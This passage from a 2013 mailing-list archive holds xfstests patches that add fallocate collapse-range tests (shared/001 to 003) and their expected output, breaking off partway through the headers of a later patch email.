8))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -428,9 +438,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 4))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -439,12 +449,12 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0 8k" \ - -c "pwrite 12k 8k" $sync_cmd \ - -c "$punch_cmd 8k 4k" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" \ + -c "pwrite $(($multiple * 12))k $(($multiple * 8))k" $sync_cmd \ + -c "$punch_cmd $(($multiple * 8))k $(($multiple * 4))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -454,10 +464,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 4))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -466,11 +476,11 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0k 8k" $sync_cmd \ - -c "pwrite 12k 8k" -c "fsync" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite 0k $(($multiple * 4))k" $sync_cmd \ + -c "pwrite $(($multiple * 12))k $(($multiple * 8))k" -c "fsync" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -478,9 +488,9 @@ _test_generic_punch() echo " 14. data -> hole @ EOF" rm -f $testfile - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 12k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 12))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -489,13 +499,22 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd 0 $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile + # If zero_cmd is fcollpase, don't check unaligned offsets + if [ "$zero_cmd" == "fcollapse" ]; then + if [ "$remove_testfile" ]; then + rm -f $testfile + rm -f $testfile.2 + fi + return + fi + echo " 16. data -> cache cold ->hole" if [ "$remove_testfile" ]; then rm -f $testfile @@ -503,12 +522,12 @@ _test_generic_punch() else cp $testfile $testfile.2 fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 12k" -c "fsync" $testfile.2 \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 12))k" -c "fsync" $testfile.2 \ > /dev/null - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd 0k $(($multiple * 8))k" \ -c "fadvise -d" \ -c "$map_cmd -v" $testfile | $filter_cmd diff $testfile $testfile.2 diff --git a/common/rc b/common/rc index 5f61d57..3be4721 100644 --- a/common/rc +++ b/common/rc @@ -1259,6 +1259,20 @@ _require_xfs_io_falloc_punch() _notrun "xfs_io fallocate punch command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem all support fallocate with collapse +# range +_require_xfs_io_falloc_collapse() +{ + testfile=$TEST_DIR/$$.falloc + testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ + -c "fcollapse 4k 8k" $testfile 2>&1` + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io fallocate collapse range support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io fallocate collapse range failed (no fs support?)" +} + # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { diff --git a/tests/shared/001 b/tests/shared/001 new file mode 100644 index 0000000..b3ebbba --- /dev/null +++ b/tests/shared/001 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 1 +# +# Standard collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/001.out b/tests/shared/001.out new file mode 100644 index 0000000..bff2bab --- /dev/null +++ b/tests/shared/001.out @@ -0,0 +1,53 @@ +QA output created by 001 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 0ad640b..5562f92 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -3,6 +3,7 @@ # - do not start group names with a digit # - comment line before each group is "new" description # +001 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:12:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B37C57FD1 for ; Sun, 8 Dec 2013 08:12:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 854ED304043 for ; Sun, 8 Dec 2013 06:12:23 -0800 (PST) X-ASG-Debug-ID: 1386511937-04bdf01322102230001-NocioJ Received: from mail-pd0-f169.google.com (mail-pd0-f169.google.com [209.85.192.169]) by cuda.sgi.com with ESMTP id mBqzgB90YDlTosqb (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:12:19 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.169 Received: by mail-pd0-f169.google.com with SMTP id v10so3655578pde.28 for ; Sun, 08 Dec 2013 06:12:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=kVeasq5tWt2IjKNNKrIZb424MpS44OUb+kUrayySSEQ=; b=piyMRIrVfblmRUIes8bHjgO4gmU6vh1gYBP5CqvT6yGTooa+Zk+Zkt15ASavUAJFe6 40vsAyMQd4XRO8nlAwKlY9I2d6maheFUqvHWWuUzZ/xT0rEL7jGMAhKdEWsFB+jC7GO/ 33L44y0TyXXNGhLDU3owSmrt7APbOKFMP1heY5A/7QXqph5QYUdxyx1XeiKZ4Ecn8rB8 H+0W0C/Ebd+QdOOakzoG0kxwf8jTuS7QJ0LFQ+0hwhy5mO5qGrYmmhTA8DP9sl+1SJJP WgFzKpDkMSJ9lwCSEsxSnz4bkvZKuf1Km7hl1Qqtj8VRFBF2SLYfUy80beY1f2QnnLp4 hH7g== X-Barracuda-BBL-IP: nil X-Received: by 10.68.200.72 with SMTP id jq8mr12260664pbc.100.1386511937063; Sun, 08 Dec 2013 06:12:17 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id om6sm11189232pbc.43.2013.12.08.06.12.14 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:12:16 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 6/10] xfstest: shared/002: Delayed allocation collapse range Date: Sun, 8 Dec 2013 23:12:06 +0900 X-ASG-Orig-Subj: [PATCH v4 6/10] xfstest: shared/002: Delayed allocation collapse range Message-Id: <1386511926-3862-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f169.google.com[209.85.192.169] X-Barracuda-Start-Time: 1386511939 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(002) tries to test various corner cases with delayed extents for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/002 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/002.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/002 create mode 100644 tests/shared/002.out diff --git a/tests/shared/002 b/tests/shared/002 new file mode 100755 index 0000000..54b957d --- /dev/null +++ b/tests/shared/002 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 2 +# +# Delayed allocation collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/002.out b/tests/shared/002.out new file mode 100644 index 0000000..14c239c --- /dev/null +++ b/tests/shared/002.out @@ -0,0 +1,53 @@ +QA output created by 002 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 5562f92..7230b28 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -4,6 +4,7 @@ # - comment line before each group is "new" description # 001 auto prealloc +002 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:12:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BCE877FAC for ; Sun, 8 Dec 2013 08:12:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3E4A8AC002 for ; Sun, 8 Dec 2013 06:12:44 -0800 (PST) X-ASG-Debug-ID: 1386511959-04cb6c537c5f9250001-NocioJ Received: from mail-pb0-f48.google.com (mail-pb0-f48.google.com [209.85.160.48]) by cuda.sgi.com with ESMTP id Q2fh2IwCqCJn72JF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:12:40 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.48 Received: by mail-pb0-f48.google.com with SMTP id md12so3795198pbc.35 for ; Sun, 08 Dec 2013 06:12:39 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=p6/QRFXxV1TGXUsc/JGu7uMwqO0buiW8zlRkKBwVMU4=; b=IUWHgRQnK9F419N/2O4vz6ZoHBHx5U3404wVgF5Of2OaCMoUDzxItLNPy7IMK9HpvV 2P030XN7Pofnj9DUYPTDkhBBQGuj1TcjKdW3xEcOgqG7vkEk8vsLhTyjvig5y94kV4Kd /kahEB6TtQkmp8k0b0D1P8JXaWarDcTUeeXQS/PqMt5wl+IQVbCB8Xe792O3M09KHiEr YC+BP/xbf0U5OgDR+lco0ljOqaCmZnYCOLp9Jo7JBSpRdH+N8dfxKNs26wqJQHbQRZ1G aVM1Wv2P4qVVXdftlB/1HCDk6p29SUQu/88MEHewhiqH0zIp4lBQmAOnwzjdS/eI6So2 fmcQ== X-Barracuda-BBL-IP: nil X-Received: by 10.68.198.97 with SMTP id jb1mr15480075pbc.104.1386511959495; Sun, 08 Dec 2013 06:12:39 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id ka3sm11203301pbc.32.2013.12.08.06.12.36 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:12:39 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v4 7/10] xfstest: shared/003: Multi collapse range tests Date: Sun, 8 Dec 2013 23:12:31 +0900 X-ASG-Orig-Subj: [PATCH v4 7/10] xfstest: shared/003: Multi collapse range tests Message-Id: <1386511951-3906-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f48.google.com[209.85.160.48] X-Barracuda-Start-Time: 1386511959 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142934 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(003) tries to test various corner cases with pre-existing holes for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/003 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/003.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/003 create mode 100644 tests/shared/003.out diff --git a/tests/shared/003 b/tests/shared/003 new file mode 100755 index 0000000..7b7f2df --- /dev/null +++ b/tests/shared/003 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 3 +# +# Multi collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -k falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/003.out b/tests/shared/003.out new file mode 100644 index 0000000..545304e --- /dev/null +++ b/tests/shared/003.out @@ -0,0 +1,53 @@ +QA output created by 003 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f07217d5ac7ffa15dd8910c4aa912674 + 4. hole -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 5. hole -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +e5c94f6299822646f9f57aeacd8bdc01 + 10. hole -> data -> hole +0: [0..31]: extent +1: [32..63]: hole +76cc863b386460b228a493933813a6a0 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +76cc863b386460b228a493933813a6a0 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 7230b28..9226032 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -5,6 +5,7 @@ # 001 auto prealloc 002 auto prealloc +003 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sun Dec 8 08:12:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EC0707FEF for ; Sun, 8 Dec 2013 08:12:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BF0C0304032 for ; Sun, 8 Dec 2013 06:12:56 -0800 (PST) X-ASG-Debug-ID: 1386511975-04bdf013211022b0001-NocioJ Received: from mail-pd0-f175.google.com (mail-pd0-f175.google.com [209.85.192.175]) by cuda.sgi.com with ESMTP id hnpoVzL9nYOFS3NS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Dec 2013 06:12:55 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.175 Received: by mail-pd0-f175.google.com with SMTP id w10so3642696pde.34 for ; Sun, 08 Dec 2013 06:12:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=Mr/SaK5zfhyw2E7+2a1pGcf+aoJNXfR+gf8467NXW7s=; b=U9GT61+UfgRbQ9N46Qnj2gY7fiFhLVTIW7C8CucOoXhxFAUcpCcOcmkvXMPD+DleTZ B6jFFwTca6A3mFh04wrEl0TKahBh9MrwDV8iAPlRF0NDjW4D1jBDbWw8n1PaFurrJp/B 26IRJhun+O2yI/yYQSFmbNqPZLaJcX3L73Kg9ObP4tIb/yJo6seUm9Dy5+kAT8giEICX 0td6nWnTkDXwemz26kdSWliQ7XzZjyEXDbVMpU0ZiewswqI9GVgUW2/MABK60Kxnm6pL d0Onslg7HxbOnDfdtzcNjMHnVD7Sr0VwDGE9BGAOnQgx2y/7DNLRGRGDhB4o26oq0jn3 Rwag== X-Barracuda-BBL-IP: nil X-Received: by 10.66.144.227 with SMTP id sp3mr15689990pab.100.1386511975265; Sun, 08 Dec 2013 06:12:55 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.87]) by mx.google.com with ESMTPSA id qv8sm11204428pbc.31.2013.12.08.06.12.52 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Dec 2013 06:12:54 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.87 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , 